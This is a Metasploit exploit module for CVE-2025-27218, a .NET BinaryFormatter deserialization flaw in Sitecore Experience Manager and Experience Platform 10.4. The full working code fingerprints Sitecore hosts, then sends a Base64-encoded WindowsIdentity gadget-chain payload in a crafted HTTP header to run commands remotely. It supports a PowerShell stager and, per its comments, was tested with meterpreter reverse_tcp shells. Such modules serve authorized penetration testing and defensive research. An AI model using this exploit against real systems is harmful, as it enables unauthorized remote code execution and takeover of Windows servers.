Sitecore CVE-2025-27218 BinaryFormatter Deserialization

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = ExcellentRanking
    
      include Msf::Util::DotNetDeserialization
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Powershell
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
            'Description' => %q{
              This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience
              Platform (XP) 10.4 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Dylan Pindur', # Discovery
              'machang-r7'    # Module Creator
            ],
            'References' => [
              ['CVE', '2025-27218'],
              ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
              ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
            ],
            'DisclosureDate' => '2025-01-06',
            'DefaultTarget' => 0,
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
            'Targets' => [
              [
                'Windows Command',
                {
                  'Arch' => ARCH_CMD,
                  'Type' => :windows_command
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'PowerShell Stager',
                {
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :psh_stager
                  # tested with windows/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/'])
        ])
      end
    
      def check
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET'
        })
    
        if res&.code == 200 && res&.get_html_document&.at('//title')&.text&.strip == 'Welcome to Sitecore'
          CheckCode::Detected('The target is running SiteCore.')
        else
          CheckCode::Safe('The target does not appear to be running SiteCore.')
        end
      end
    
      def exploit
        case target['Type']
        when :windows_command
          execute_command(payload.encoded)
        when :psh_stager
          execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
        end
      end
    
      def execute_command(cmd, _opts = {})
        sploit = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
          cmd,
          gadget_chain: :WindowsIdentity,
          formatter: :BinaryFormatter
        ))
    
        # Build HTTP request with malicious header
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET',
          'headers' => {
            'Thumbnailsaccesstoken' => sploit
          }
        })
    
        if res && res.code == 200
          print_good('Server responded with 200, this probably means it worked.')
        else
          print_error("Server didn't respond with 200. Try setting the target URL to a valid page.")
        end
      end
    end